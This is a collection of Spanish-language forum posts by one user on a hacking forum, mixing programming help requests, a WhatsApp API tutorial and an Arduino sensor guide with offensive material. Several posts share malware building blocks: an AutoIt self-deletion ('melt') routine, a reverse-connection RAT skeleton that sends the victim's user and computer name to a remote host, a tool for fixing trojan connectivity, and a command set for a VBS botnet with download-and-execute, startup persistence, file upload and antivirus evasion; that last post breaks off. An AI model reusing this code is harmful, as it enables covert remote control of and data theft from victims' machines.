Temas

HOLA!!!

Muy buenos dias gente!

Primero y principal quiero aclarar que estoy por volverme loco.

Hice un programa para automatizar el pase de unos comprobantes a un sistema y este sistema no acepta la sentencia SendKeys("{INSERT}") (Ni con Wait ni con {INS}) pero curiosamente la esa misma sentencia funciona correctamente en cmd.exe pero no en el software que quiero controlar.

Ahora unas pruebas:
Enviare la siguiente cadena a la aplicacion de destino y a CMD asi lo verifican."{INSERT}|{INSERT}|{INSERT}|{INSERT}|{INSERT}|{INSERT}"

Muestra de que funciona con CMD (notese que el cursor cambia, por ende acepta INSERT):


Lo que deberia hacer (esto lo pasa cuando presiono la tecla insert manualmente):


Lo que pasa (notese que el cursor se oculta, raro porque en este caso no envie ningun caracter imprimible):


Mi codigo es muy simple, en definitiva es un timer que va recorriendo el array generado por
Split("{INSERT}|{INSERT}|{INSERT}|{INSERT}|{INSERT}|{INSERT}","|") y envia el sendkeys del item segundo a segundo.

Ya he probado con y sin privilegios de administrador.

Otros datos de color:
El programa MacroMaker envia bien la pulsacion de Insert y con este funciona.
Estoy utilizando Windows 10
Tengo otro programa que arme en VB6 y que en windows 7 envia correctamente los sendkeys con el soft y pantalla que mostre. (aunque ahora en WIN10 no anda mas)


GRACIAS POR LEER!!!

[S]

HOLA!!!

Bueno, estoy con un tema de integracion con web y necesito hacer operaciones de SFTP , alguien sabe como puedo hacerlo, todo lo que consigo es pago .

GRACIAS POR LEER!!!

[Skin Celeste (Clasico del foro):]

HOLA!!!

En este momento luego de 3 años con el proyecto detenido decidi retomarlo, para los que recuerdan y quieren ver como era (sigue funcionando el viejo) y para los que no saben que es y tienen curiosidad:
http://foro.elhacker.net/software/notificador_de_mensajes_nuevos_del_foro_por_79137913-t365382.0.html

Publiquen sus sugerencias por favor

Les presento el Notificador eHn 4.0 NET:
Caracteristicas:
- Completamente porteado y con codigo optimizado para un mejor rendimiento
- 100% codeado en NET con compatibilidad con los ultimos sistemas operativos
- No posee dependencia alguna, es un Exe Stand Alone (o portable si asi lo prefieren)
- Las solicitudes web se han optimizado para reducir al maximo los bytes transferidos
- Ahora se puede elegir entre 3 Skins distintos. (veremos capturas mas adelante)
- Formularios mas intuitivos
- Notificadores especiales y de usuarios con ABM
- Sistema de notificaciones emergentes PopFade (como un popup pero con fade in y fade out)
- y mas...

Ahora como me gusta decir a mi "Una imagen vale mas que mil palabras" con ustedes el Notificador y sus skins:

(NOTA: todas las imagenes no se por que razon salieron con la ultima parte del lado derecho en el izquierdo, un problema de captura de pantalla, en ejecucion se ven perfecto!)

Skin Celeste (Clasico del foro):
Principal:

Panel de control:

Subforos a notificar:

Usuarios Conectados:

Notificacion:




Skin Claro (Blanco):
Principal:

Panel del control:

Subforos a notificar:

Usuarios Conectados:

Notificacion:




Skin Oscuro (Gris oscuro):
Principal:

Panel de control:

Subforos a notificar:

Usuarios Conectados:

Notificacion:


Y ademas como me pidio un amigo [ @Elektro ] Se puede deshabilitar el movimiento de los form y mostrar la barra de titulo respectiva:





Este post es para que todos los que quieran esta aplicacion publiquen sus sugerencias sobre que nuevas funciones debo agregarle.

Espero su participacion en este proyecto.

Gracias ElHacker.Net!  
P.D: No busquen enlace de descarga por que no lo liberaré hasta que tenga algunas funciones extra, y todas las que me digan en este hilo.

GRACIAS POR LEER!!!

HOLA!!!

Buenos dias,

Estoy reviviendo (aunque nunca murió) el notificador de mensajes para el foro http://foro.elhacker.net/software/notificador_de_mensajes_nuevos_del_foro_por_79137913-t365382.0.html , ya esta casi terminado y recodeado en .Net con la ayuda de Elektro, quiero hacer un post para que me den sugerencias sobre las nuevas funciones que tendra el programa. Quisiera saber a su parecer en que sección deberia publicar el mismo.

GRACIAS POR LEER!!!

HOLA!!!

Antes que nada Gracias a Shiroko por desarrollar el api junto a venom0ux, y tambien a fermino por salvarme algunas dudas y por darme la idea de empezar a implementar WhatsAPI.

En este post no se explicara que es WhatsAPI, aclaro que no se usara WhatsAPI sino WhatsAPI.Net, tampoco se enseñara paso a paso y menos se daran indicaciones sobre el uso del lenguaje VB.Net.

Que vamos a necesitar:
Si es posible el ultimo VisualStudio, sino cualquier otro servira.
WART (descargar el Exe)
WhatsAppAPI.dll (Les dejo la ultima version a la fecha subida a Mediafire, pero intenten bajar una que este actualizada o compilenla del source en github).
Y por ultimo de ser posible una linea de telefono en la que no utilicemos WhatsApp (asi no se nos complican las cosas, el celular de la abuela servirá).

Empezamos:

Abrimos el WART, Colocamos nuestro numero(Sin + y sin ceros al principio, por ejemplo un numero para argentina seria 5492235352914 o 542235352914 [Nunca supe la diferencia entre con nueve y sin nueve]) y apretamos el boton Request Code

Una vez hecho esto te llegara un SMS o una llamada dandote un codigo, Colocalo en Code y presiona Confirm Code, luego nos dara una contraseña. (en caso de perder la contraseña, como ya estan registrados solo tienen que poner el numero y Clickear en Check Existing.)

La contraseña que nos dio la tenemos que copiar y guardar en un archivo de texto llamado "WAPASS.txt" en la carpeta donde se ejecute nuestra aplicacion, para testeos o debug, obviamente sera en "ruta_al_proyecto/bin/debug/WAPASS.txt".

Despues vamos a hacer un proyecto nuevo y vamos a agregar un modulo "mWhatsApp".

Código (vbnet) [Seleccionar] Expandir

Module mWhatsApp
   Dim WAPass As String
   Const WANum As String = "5492236685519"
   Dim wa As WhatsApp
   Public Sub InitWA(ByVal NickName As String, Optional ByVal debug As Boolean = False)
       WAPass = File.ReadAllText(My.Application.Info.DirectoryPath & "\WAPASS.txt")
       wa = New WhatsApp(WANum, WAPass, NickName, debug)
       AddHandler wa.OnLoginSuccess, AddressOf wa_OnLoginSuccess
       AddHandler wa.OnLoginFailed, AddressOf wa_OnLoginFailed
       AddHandler wa.OnGetMessage, AddressOf wa_OnGetMessage
       AddHandler wa.OnGetMessageReceivedClient, AddressOf wa_OnGetMessageReceivedClient
       AddHandler wa.OnGetMessageReceivedServer, AddressOf wa_OnGetMessageReceivedServer
       AddHandler wa.OnNotificationPicture, AddressOf wa_OnNotificationPicture
       AddHandler wa.OnGetPresence, AddressOf wa_OnGetPresence
       AddHandler wa.OnGetGroupParticipants, AddressOf wa_OnGetGroupParticipants
       AddHandler wa.OnGetLastSeen, AddressOf wa_OnGetLastSeen
       AddHandler wa.OnGetTyping, AddressOf wa_OnGetTyping
       AddHandler wa.OnGetPaused, AddressOf wa_OnGetPaused
       AddHandler wa.OnGetMessageImage, AddressOf wa_OnGetMessageImage
       AddHandler wa.OnGetMessageAudio, AddressOf wa_OnGetMessageAudio
       AddHandler wa.OnGetMessageVideo, AddressOf wa_OnGetMessageVideo
       AddHandler wa.OnGetMessageLocation, AddressOf wa_OnGetMessageLocation
       AddHandler wa.OnGetMessageVcard, AddressOf wa_OnGetMessageVcard
       AddHandler wa.OnGetPhoto, AddressOf wa_OnGetPhoto
       AddHandler wa.OnGetPhotoPreview, AddressOf wa_OnGetPhotoPreview
       AddHandler wa.OnGetGroups, AddressOf wa_OnGetGroups
       AddHandler wa.OnGetSyncResult, AddressOf wa_OnGetSyncResult
       AddHandler wa.OnGetStatus, AddressOf wa_OnGetStatus
       AddHandler wa.OnGetPrivacySettings, AddressOf wa_OnGetPrivacySettings
       AddHandler WhatsAppApi.Helper.DebugAdapter.Instance.OnPrintDebug, AddressOf Instance_OnPrintDebug
       wa.Connect()
       Dim datFile As String = getDatFileName(WANum)
       Dim nextChallenge() As Byte
       If (File.Exists(datFile)) Then
           Dim foo As String = File.ReadAllText(datFile)
           nextChallenge = Convert.FromBase64String(foo)
       End If
       wa.Login(nextChallenge)
       ProcessChat(wa)
   End Sub
   Public Function SendWA(ByVal MSG As String, Num As String) As Boolean
       Dim usrMan As New WhatsUserManager()
       Dim tmpUser = usrMan.CreateUser(Num, "User")
       wa.SendMessage(Num, MSG)


       Return True
   End Function
   Public Sub Instance_OnPrintDebug(value As Object)
       Debug.Print(value)
   End Sub
   Public Sub wa_OnGetPrivacySettings(settings As Dictionary(Of WhatsApp.VisibilityCategory, WhatsApp.VisibilitySetting))

   End Sub
   Public Sub wa_OnGetStatus(form As String, type As String, name As String, status As String)

   End Sub
   Public Function getDatFileName(pn As String) As String
       Dim filename As String = String.Format("{0}.next.dat", pn)
       Return Path.Combine(Directory.GetCurrentDirectory(), filename)
   End Function
   Public Sub wa_OnGetSyncResult(index As Integer, sid As String, existingUsers As Dictionary(Of String, String), failedNumbers As String())

   End Sub
   Public Sub wa_OnGetGroups(groups As WaGroupInfo())

   End Sub
   Public Sub wa_OnGetPhotoPreview(from As String, id As String, data() As Byte)
       File.WriteAllBytes(String.Format("preview_{0}.jpg", from), data)
   End Sub
   Public Sub wa_OnGetPhoto(from As String, id As String, data() As Byte)
       File.WriteAllBytes(String.Format("{0}.jpg", from), Data)
   End Sub
   Public Sub wa_OnGetMessageVcard(from As String, id As String, name As String, data() As Byte)
       File.WriteAllBytes(String.Format("{0}.vcf", name), Data)
   End Sub
   Public Sub wa_OnGetMessageLocation(from As String, id As String, lon As Double, lat As Double, url As String, name As String, preview() As Byte)
       File.WriteAllBytes(String.Format("{0}{1end sub.jpg", lat, lon), preview)
   End Sub
   Public Sub wa_OnGetMessageVideo(from As String, id As String, filename As String, fileSize As Integer, url As String, preview() As Byte)
       OnGetMedia(filename, url, preview)
   End Sub
   Public Sub OnGetMedia(file As String, url As String, data() As Byte)
       My.Computer.FileSystem.WriteAllBytes(String.Format("preview_{0}.jpg", file), data, False)
       Dim WA_WC As New WebClient
       WA_WC.DownloadFileAsync(New Uri(url), file, 0)
   End Sub
   Public Sub wa_OnGetMessageAudio(from As String, id As String, filename As String, filesize As Integer, url As String, preview() As Byte)
       OnGetMedia(filename, url, preview)
   End Sub
   Public Sub wa_OnGetMessageImage(from As String, id As String, filename As String, size As Integer, url As String, preview() As Byte)
       OnGetMedia(filename, url, preview)
   End Sub
   Public Sub wa_OnGetPaused(from As String)

   End Sub
   Public Sub wa_OnGetTyping(from As String)

   End Sub
   Public Sub wa_OnGetLastSeen(from As String, lastseen As DateTime)

   End Sub
   Public Sub wa_OnGetMessageReceivedServer(from As String, id As String)

   End Sub
   Public Sub wa_OnGetMessageReceivedClient(from As String, id As String)

   End Sub
   Public Sub wa_OnGetGroupParticipants(gjid As String, jids() As String)

   End Sub
   Public Sub wa_OnGetPresence(from As String, type As String)

   End Sub
   Public Sub wa_OnNotificationPicture(type As String, jid As String, id As String)

   End Sub
   Public Sub wa_OnGetMessage(node As ProtocolTreeNode, from As String, id As String, name As String, message As String, receipt_sent As Boolean)
       Dim Number As String = Split(from, "@")(0)

   End Sub
   Private Sub wa_OnLoginFailed(data As String)
       End
   End Sub
   Private Sub wa_OnLoginSuccess(phoneNumber As String, data() As Byte)
       ' next password
       Dim sdata As String = Convert.ToBase64String(data)
       My.Computer.FileSystem.WriteAllText(getDatFileName(WANum), sdata, False)
   End Sub
   Private Sub ProcessChat(wa As WhatsApp)
       Dim thRecv = New Thread(AddressOf ProcessChatT) : thRecv.IsBackground = True
       thRecv.Start()
   End Sub
   Sub ProcessChatT(t)
       Try
           While wa IsNot Nothing
               wa.PollMessages()
               Thread.Sleep(100)
               Continue While
           End While
       Catch generatedExceptionName As ThreadAbortException
       End Try

   End Sub
End Module

Una vez agregado este codigo vamos a Agregar codigo al form principal para terminar con este ejemplito. (Mi from se llama Principal, ojo)

Código (vbnet) [Seleccionar] Expandir

   Private Sub Principal_Load(sender As Object, e As EventArgs) Handles MyBase.Load
       InitWA("Tutorial By 79137913")
       Call SendWA("Prueba 1", "ACAPONEELNUMEROALQUEQUIERASMANDARELMENSAJE")
   End Sub

En InitWA pones el Nick que quieras y en SendWa pones el mensaje seguido del numero al que quieras enviar un mensaje

Nota: para que no sea spam ambas personas deben estar en sus respectivas listas de contactos, por ende agrega al sistema a tu lista de contactos antes de enviar mensajes para que no se bloquee el usuario.

GRACIAS POR LEER!!!

HOLA!!!

Queria saber si alguien tenia un ejemplo de lo de arriba para vbnet gracias!

GRACIAS POR LEER!!!

HOLA!!!

Jajajaj me rei mucho cuando lei esto.



GRACIAS POR LEEER!!!

HOLA!!!

Bueno mi pc tiene lo siguiente: AMD 2.71 GHz del 2010 con 2 GB de ram.

Quisiera instalar de alguna manera VisualStudio (el mas nuevo posible) y que funcione decentemente.

En mi notebook tengo el 2012 quisiera saber si los proyectos seran compatibles con versiones anteriores.

En cuanto a esta pc pude instalar desde el 2005 al 2012 sin problemas, todos funcionan, pero realmente no andan bien, muy lentos, habra alguna version lite?.

En fin, era eso solo.

GRACIAS POR LEER!!!

[Y por ultimo cerrar el cliente de tu troyano para que no escuche a la vez que este programa.]

HOLA!!!

Este soft es la solucion definitiva para los problemas de conexión de los RATs y Troyanos, se encarga de revisar por que tu troyano o RAT no conecta correctamente, antes de iniciarlo deberias ya haber intentado:
Abrir puertos del router
Desactivar Firewall
Redireccionar tu DNS a tu ip
Y por ultimo cerrar el cliente de tu troyano para que no escuche a la vez que este programa.


Cuando inicia el soft te da unas indicaciones:


Cuando todo Funciona bien se comporta asi:


Cuando tu DNS no esta bien configurado:



Cuando el puerto no esta abierto:





Si tienen dudas coloquen siempre el archivo Log que se crea en la misma carpeta en la que esta el ejecutable.



Descarga:
TryConnect.rar

Moderadores y demas: si quieren el codigo se los paso, a users regulares, wiki y otros no. El programa esta codeado en VB6 Codigo prolijo y estructurado.

GRACIAS POR LEER!!!

HOLA!!!

Quisiera si alguien me puede ayudar con esto:
(si, necesito codigo, me estoy quemando la cabeza y no me sale)

El tema es el siguiente, tengo un archivo como este:

Código [Seleccionar] Expandir

HKCU\AppEvents\Schemes
HKCU\AppEvents\Schemes\Apps
HKCU\AppEvents\Schemes\Apps\.Default
HKCU\AppEvents\Schemes\Apps\.Default\.Default
HKCU\AppEvents\Schemes\Apps\.Default\.Default\.Current
HKCU\AppEvents\Schemes\Apps\.Default\.Default\.Default
HKCU\AppEvents\Schemes\Apps\.Default\AppGPFault
HKCU\AppEvents\Schemes\Apps\.Default\AppGPFault\.Current
HKCU\AppEvents\Schemes\Apps\.Default\AppGPFault\.Default
HKCU\AppEvents\Schemes\Apps\.Default\CCSelect
HKCU\AppEvents\Schemes\Apps\.Default\Close
HKCU\AppEvents\Schemes\Apps\.Default\Close\.Current
HKCU\AppEvents\Schemes\Apps\.Default\Close\.Default
y mucho mas largo, que son las claves de registro con sus path.

Necesito poblar un listview con ese arbol, pero no se me ocurre como hacer una funcion recursiva para que me haga ese tipo de metodo.

Espero que me hayan entendido.

Muchas Gracias.

GRACIAS POR LEER!!!

[Jim Warrington]

HOLA!!!

Esta herramienta la tengo hace tiempo, gracias a Jim Warrington el creador de los siguientes OCX que permiten a VBS crear y utilizar Formularios!

Empiezo con el "Tutorial" o "Demostracion":


1ro. Descargamos los OCX:

VBS_OCX_FORMS.rar
La contraseña del Rar es "by79137913"

2do. Colocamos los 3 archivos en System32:
Las rutas completas en mi caso serian:

C:\WINDOWS\system32\wshLWF_FormDesigner.ocx
C:\WINDOWS\system32\wshLWForm.ocx
C:\WINDOWS\system32\wshLtWtForm.ocx

3ro. Registramos los OCX:

Lo hacen con Inicio->Ejecutar-> Y escriben "RegSvr32 " La ruta de los OCX.

4to. Creamos el siquiente .VBS :
Nombre del Archivo: FormDesigner.VBS

Código (vb) [Seleccionar] Expandir

Dim oLWFD 'as  object
Dim bCloseClick 'as boolean
 Set oLWFD = WScript.CreateObject("wshLWF_FormDesigner.ucLWFD", "oLWFD_")
 oLWFD.DesignForm()
 bCloseClick = False
 Do
   WScript.Sleep 200
 Loop Until bCloseClick
Set oLWFD = nothing  ' clean up
WScript.Quit
Sub oLWFD_frmCloseClick()
 MsgBox ("Saliendo del Programa, gracias por testear." & CHR(10) & CHR(13) & "By 79137913")
 bCloseClick = True
End Sub


5to. Guardamos y ejecutamos el Script:

Listo, ya tienen funcionando su Editor de Formularios para VBS!



6to. Datos Extra:

Ahora diseñan el Form que quieran y luego solo tienen que apretar ShowCode para que les genere el codigo del formulario!. Si quieren pueden apretar Test para ver como quedaria (yo recomiendo que no lo presionen por que a veces Crashea)


7mo. Ejemplos:

Si, tambien tengo ejemplos...
Pero no son ejemplos cualquiera... son los Originales que Jim Warrington dejo cuando creo esta herramienta, una obra de arte.
VBSFORMGEN_DemoScripts.rar
La contraseña del Rar es "by79137913"

GRACIAS POR LEER!!!

HOLA!!!

Hay una peticion formal en microsoft para que rehagan VB6 y le den soporte en w8.

Por favor voten.

Se vota en este lugar:


http://visualstudio.uservoice.com/forums/121579-visual-studio/suggestions/3440221-bring-back-classic-visual-basic-an-improved-versi



GRACIAS POR LEER!!!

HOLA!!!

Como andan, quisiera saber si alguno conoce un sistema simple para impresion de cupones y vouchers.

El sistema deberia ser simple del lado del usuario:

Código [Seleccionar] Expandir

Combobox Cupon  :[Cupon1/Cupon2/...]

Campo Nombre y A:[ Francisco Perez ]
Campo Documento :[    1234567890   ]

Boton Imprimir  :[    IMPRIMIR!    ]

Del lado de la web solo deberia guardar un registro de a quien se le dan los cupones (nombre, apellido y documento), ademas si se puede limitar la cantidad de cupones diarios.
Y para seleccionar la imagen de fondo de cada cupon.

Eso seria lo que ando buscando, si saben de algun script simple que lo haga me dicen?

GRACIAS POR LEER!!!

HOLA!!!

El tema es el siguiente:
Quisiera armar un archivo ini para la pagina que estoy armando, para poder editar el mismo en vez de editar el html en si comprenden?

Ejemplo:
Html de mi web:

Código (html4strict) [Seleccionar] Expandir

<title>LoadFromIni("Titulo")</title>

Y en el ini:

Código [Seleccionar] Expandir

Titulo="Titulo de mi web"

Entonces cuando se muestre el titulo de la web dira:
"Titulo de mi web"

Espero haber sido claro.

Muchas Gracias

GRACIAS POR LEER!!!

HOLA!!!

Creo que deberian arreglar el tema ese quitando la leyenda que dice "teclas método abreviado (sólo IE y Mozilla): presiona alt+s para enviar formulario/publicar o alt+p para previsualizar" o haciendola funcionar.

GRACIAS POR LEER!!!

HOLA!!!

Tuve muchos problemas para recibir datos binarios enviados con autoit, por eso cree esta funcion, a la cual se le pasa un socket conectado, el path del archivo a enviar y el tamaño del bufer de salida.

Nota: Esta funcion no notifica al otro lado cuando inicia o termina un archivo, aunque al terminar su ejecucion el archivo ha sido enviado correctamente por lo que pueden enviar un identificacador de inicio antes de llamar a la funcion y otro despues.

Código (autoit) [Seleccionar] Expandir

Func _TCPFileSend($sock, $File, $MaxLen) ;Envia datos binarios desde archivo.
Local $BytesRead = 0
$FileHandle = FileOpen($File, 16)
While 1
$Data = FileRead($FileHandle, $MaxLen)
If @error Then ExitLoop
$BytesRead += TCPSend($sock, $Data)
Wend
FileClose($FileHandle)
Return SetError(0, 0, 1)
EndFunc   ;==>_TCPFileSend

GRACIAS POR LEER!!!

HOLA!!!

Melt, el famoso "KillingMeSoftly" aplicado para generar una autodestruccion efectiva.

Código (autoit) [Seleccionar] Expandir

Func _Melt() ;Elimina el ejecutable que esta corriendo.
Local $sCmdFile
FileDelete(@TempDir & "\scratch.bat")
$sCmdFile = 'ping -n ' & 15 & '127.0.0.1 > nul' & @CRLF _
& ':loop' & @CRLF _
& 'del "' & @AutoItExe & '"' & @CRLF _
& 'if exist "' & @AutoItExe & '" goto loop' & @CRLF _
& 'del ' & @TempDir & '\scratch.bat'
FileWrite(@TempDir & "\scratch.bat", $sCmdFile)
Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)
EndFunc   ;==>_Melt

GRACIAS POR LEER!!!

HOLA!!!

Jugando con autoit cree esta pequeña suite de funciones para trabajar con CMD:

Código (autoit) [Seleccionar] Expandir

;Creado por 79137913
Global $cmdpid
Global $cmdresponse

;~ _iniciarCMD()
;~ _sendCMDCommand("ping 127.0.0.1",2)
;~ MsgBox(0,"",$cmdresponse)
;~ _sendCMDCommand("cd ..",1)
;~ MsgBox(0,"",$cmdresponse)
;~ _sendCMDCommand("cd ..",1)
;~ MsgBox(0,"",$cmdresponse)
;~ _CerrarCMD()
Exit
func _SendCMDCommand($command,$timeoutlimit);Envia un comando CMD y devuelve la respuesta, timeout es en segundos
   StdinWrite($cmdpid,$command)
   StdinWrite($cmdpid,@CRLF)
;StdinWrite($cmdpid)
   Local $data
Local $response
Local $timeout
$data = ""
   While True
   sleep(100)
       $data &= StdoutRead($cmdpid)
       If $data <> "" Then
$response=$response & $data
$data=""
$timeout=0
EndIf
$timeout=$timeout+1
if $timeout=$timeoutlimit*10 then ExitLoop
   WEnd
   $cmdresponse = $response
EndFunc
func _CerrarCMD();Cerrar CMD
  StdinWrite($cmdpid)
EndFunc  
Func _IniciarCMD();Inicializar CMD
   $cmdpid = Run("C:\Windows\system32\cmd.exe",@SystemDir, @SW_HIDE, $STDIN_CHILD + $STDOUT_CHILD)
EndFunc

GRACIAS POR LEER!!!

HOLA!!!

Estuve Jugando un poco con Autoit los ultimos dias.

Este es un ejemplo que hice de Base para RAT de conexión inversa (codigo del Server)

Código (autoit) [Seleccionar] Expandir

#include <Array.au3>
Global $Socket
Global $Recibe
While 1 ;Reconeccion
  _Conectar()
  TCPSend ($Socket,"Hola")
  While 1 ; Recibir y ejecutar
 $Recibe =""
 While $Recibe = ""
$Recibe=TCPRecv($Socket,10000000)
Sleep (100)
 WEnd
 $Dat = StringSplit($Recibe,"|||")
 Select
 case $Dat[1] = "GiveMeData"
TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
 EndSelect
  WEnd
WEnd

Func _Conectar()
  While TCPStartup()=0
 sleep (10)
  WEnd
  While True
 $Socket=TCPConnect ($IP,$PORT)
 If $Socket>0 Then
ExitLoop
 EndIf
 Sleep(1000)
  WEnd  
EndFunc

GRACIAS POR LEER!!!

HOLA!!!

En fin esta funcion lo que hace es determinar si una cadena contiene caracteres unicode (si contiene unicode envia true sino false)

Ustedes diran... para que sirve esto, bueno, resulta que hay apis que solo soportan entrada ascii, entonces conesto prevenimos crasheos, en el ejemplo que arme hay un archivo con nombre de fichero unicode (un caracter RLO 202E).

Código (vb) [Seleccionar] Expandir

Private Function IsUnicode(expression As String) As String
'by 79137913
   Dim b() As Byte 'Se crea un array de bytes para almacenar el string
   Dim Aux As String 'se usara para comparar
   b = expression 'se usa un evil type convert para obtener todos los ascii de los caracteres de la expresion en las posiciones del array
   For x = 0 To UBound(b) Step 2
       Aux = Aux & Chr(b(x)) 'reconstruimos la expresion
   Next
   IsUnicode = (expression <> Aux) 'asignamos a IsUnicode el resultado de la comparacion
   'Si expression es = a aux dara Falso por que expression es totalmente Ascii, sino dara Verdadero por que contiene algun caracter Unicode.
End Function

El ejemplo lo descargan de aca:
http://www.mediafire.com/download/76yuudmsnnoykau/IsUnicode.rar

GRACIAS POR LEER!!!

HOLA!!!

Primer chiste




GRACIAS POR LEER!!!

HOLA!!!

Quisiera que si tienen cuenta en DX.com por favor me voten aca:



http://dx.com/dxman/DxCalendar/Comments/395

GRACIAS POR LEER!!!

HOLA!!!

Tengo un problema, estoy intentando animar unas imagenes para que parezca que hablan pero DirectSS no soporta voces loquendo parece me da error 430 (run-time).

Alguien conoce una alternativa al metodo: DirectSS1_Visual para animar las imagenes?

Estoy usando este ejemplo:
http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=63553&lngWId=1

GRACIAS POR LEER!!!

HOLA!!!

Quisiera saber si alguno sabe de esto y me puede dar algo que leer...

RAW Sockets no funcionan mas desde XP SP2 asi que por favor obvien esto.

Cualquier metodo para hacer lo que hace un socket sin usar la libreria clasica o el api de windows.

Que no requiera privilegios de administrador.

Espero que alguien que sepa lea esto.

GRACIAS POR LEER!!!

HOLA!!!

Se me ocurrio que una buena idea para la pagina principal de "el hacker"...

Que tenga una mini sección de Efemerides (cosas que sucedieron [posts] en otros años ese mismo dia) me parece una idea interesante para darle un toque nuevo a la pagina principal que esta media dejada.

GRACIAS POR LEER!!!

 HOLA!!!

Me he decidido, quiero aprender c++

Por ahora tengo Visual c++ 2008 express, eso me sirve, no me sirve... que ide me descargo...

Empiezo haciendo apps de consola o de escritorio...

Plz un paper para entender mejor la sintaxis...

Me van a ver mas seguido por aqui... xD

GRACIAS POR LEER!!!

HOLA!!!



Segundo chiste

GRACIAS POR LEER!!!

HOLA!!!

El HC-SR04 es un sensor de distancia que funciona por ultrasonido. Básicamente lo que hace es enviar un pulso llamado trigger, inaudible para cualquier ser humano, rebotar en algún objeto y recibirlo (eco). Con este principio es posible medir distancias sabiendo que la velocidad del sonido es de 345m/s.

Podemos calcular la distancia con una sencilla formula:


El módulo adquirido en la página china DealExtreme presenta las siguientes características:

Tensión de trabajo: 5VDC
Corriente de reposo: <2mA
Angulo: <15º
Distancia: 2 a 450cm
Resolución: 0,3cm

Con el sensor HC-SR04 y una placa Arduino  podemos armar un medidor de distancia en menos de 5 minutos. Utilizando la librería Ultrasonic  (disponible para la descarga en forma gratuita) podemos medir distancias con muy poco código. Por defecto solo es posible medir hasta 51cm de distancia, pero con una sencilla modificación en el archivo ultrasonic.ccp podemos llegar hasta los 5m. Buscamos la siguiente línea y modificamos el valor de time_out:

    Time_out=3000; // 30ms para 5 metros // 3ms para 50cm

A continuación el ejemplo que viene con la librería. Funciona muy bien y es sencillo de implementar:

Código [Seleccionar] Expandir

// Ultrasonic - Library for HR-SC04 Ultrasonic Ranging Module.
// Rev.4 (06/2012)
// J.Rodrigo ( www.jra.so )
// more info at www.ardublog.com

#include <Ultrasonic.h>

Ultrasonic ultrasonic(9,8); // (Trig PIN,Echo PIN)

void setup() {
  Serial.begin(9600);
}

void loop() {
  Serial.print(ultrasonic.Ranging(CM)); // CM or INC
  Serial.println(" cm" );
  delay(100);
}

También se puede resolver el código sin utilizar librerías. Haciendo uso del comando pulseIn que nos brinda el entorno Arduino podemos hacer lo mismo con un poco más de elaboración. El ejemplo a continuación:

Código [Seleccionar] Expandir

/ HC-SR04 & ARDUINO

#define ECHO 8        // Pin para recibir el pulso de eco
#define TRIGGER 9     // Pin para enviar el pulso de disparo

unsigned int tiempo, distancia;

void setup() {
  Serial.begin(9600);
  pinMode(ECHO, INPUT);
  pinMode(TRIGGER, OUTPUT);
}

void loop() {
  digitalWrite(TRIGGER, LOW);
  delayMicroseconds(2);
  digitalWrite(TRIGGER, HIGH);
  delayMicroseconds(10);
  digitalWrite(TRIGGER, LOW);
  // Calcula la distancia midiendo el tiempo del estado alto del pin ECHO
  tiempo = pulseIn(ECHO, HIGH);
  // La velocidad del sonido es de 340m/s o 29 microsegundos por centimetro
  distancia= tiempo/58;
  //manda la distancia al monitor serie
  Serial.print(distancia);
  Serial.println(" cm");
  delay(200); 
}

Imagenes del proyecto terminado:



Fuente AutomatismosMDQ

GRACIAS POR LEER!!!

HOLA!!!

El 23 de mayo se realizará un seminario gratuito sobre el software Niple. Los autores garantizan que en menos de 2 horas Usted aprenderá a programar microcontroladores PIC de una manera sencilla y eficaz.



Conste que no tengo nada que ver con el seminario.

GRACIAS POR LEER!!!

HOLA!!!

Hola, vengo a consular una cosa a ver si me pueden ayudar...

Estoy desarrollando un sistema de domotica y quiero armar un sistema de switchs inalambricos.

La comunicacion por RF ya esta resuelta y funciona muy bien.

Pero tengo 3 problemas
1: el tamaño del circuito debe ser minimo (ahorrar espacio a toda costa)
2: no se como pasar de 220 alerna a 5 V continua con un circuito pequeño y simple.
3: no se como comparar las 4 salidas del ht12d con los jumpers que colocaria para hacer el codigo unico.
Hice un esquema de como deberia quedar el circuito e invente un integrado que hace lo que necesito (el cual no existe)
Dejo el esquema (que esta bastante simple)

A ver si por ahi tienen alguna idea

GRACIAS POR LEER!!!

HOLA!!!

Primero gracias por leer este post con un tan mal titulo.

Lo que me pasa es que cuando clickeo un enlace a una web externa me pasa esto:
h ttp://adf.ly/1139866 /h ttp://www.elandroidelibre.com/?attachment_id=84806

La primera sección es lo que me agrega el virus, siempre me pone un enlace a su adfly y luego me pone al otro lado el link que clickee.

Luego, algunas imagenes me las reemplaza por un iFrame que va a Imagenar (una web)

Tienen idea que es esto?

GRACIAS POR LEER!!!

[NOTA IMPORTANTE]

HOLA!!!


Nota: Cambie el codigo por que el api de twitter cambio ahora solo tienen que twittear de la url de pastebin por ejemplo pastebin.com/hola1234 solo twitean /hola1234


Primero que nada les voy a explicar lo que es esto, es un sistema que recibe y ejecuta ordenes.

Las ordenes son las siguientes:

Código [Seleccionar] Expandir

Para descargar un Archivo de texto (vbs o js ;D):
down[%]Link[%]Carpeta[%]NombreArchivo

Para ejecutar un archivo:
xcec[%]Carpeta[%]NombreArchivo

Para descargar y ejecutar un vbs o js:
dwne[%]Link[%]Carpeta[%]NombreArchivo

Para copiar un archivo:
copy[%]Carpeta1[%]NombreArchivo1[%]Carpeta2[%]NombreArchivo2

Para eliminar un archivo:
supr[%]Carpeta[%]NombreArchivo

Para ocultar un archivo:
hide[%]Carpeta[%]NombreArchivo

Para subir un archivo a un FTP:
ftpu[%]FTPServer[%]FTPPort[%]FTPUser[%]FTPPass[%]SPath[%]SFile[%]OrdNum

Para mostrar un cuadro de texto:
msgb[%]TextoAMostrar

Para hacer melt:
melt

Para cerrar:
clos

Para detener la orden actual:
nord

NOTA IMPORTANTE
En carpeta pueden poner la carpeta o cualquiera de estas palabras claves:
"MYPATH" esta es el path del script
"FULLPATHONFILENAME" esta tomara como path lo que coloquen en el nombre del archivo.
"STARTUP" esta es la carpeta de inicio (ejecucion automatica al iniciar windows)

Ustedes diran, por que solo descarga texto? Rta, FUD.
Y replicaran, pero como hago para que descargue y ejecute mi exe que es binario y no ascii? Rta, cifra a base64 y descifra con un script .
Continuando, este codigo lo use para armar una botnet en vbs, cual es la ventaja de esto? Rta, que si borran algun ejecutable malicioso no borran este archivo.

Se le pueden agregar mil funciones mas, pero recomiendo que si queres agregar usa el Descargar y Ejecutar VBS por si tu codigo es detectado.

Como se usa este sistema:

1ro: Crear una cuenta en twitter.
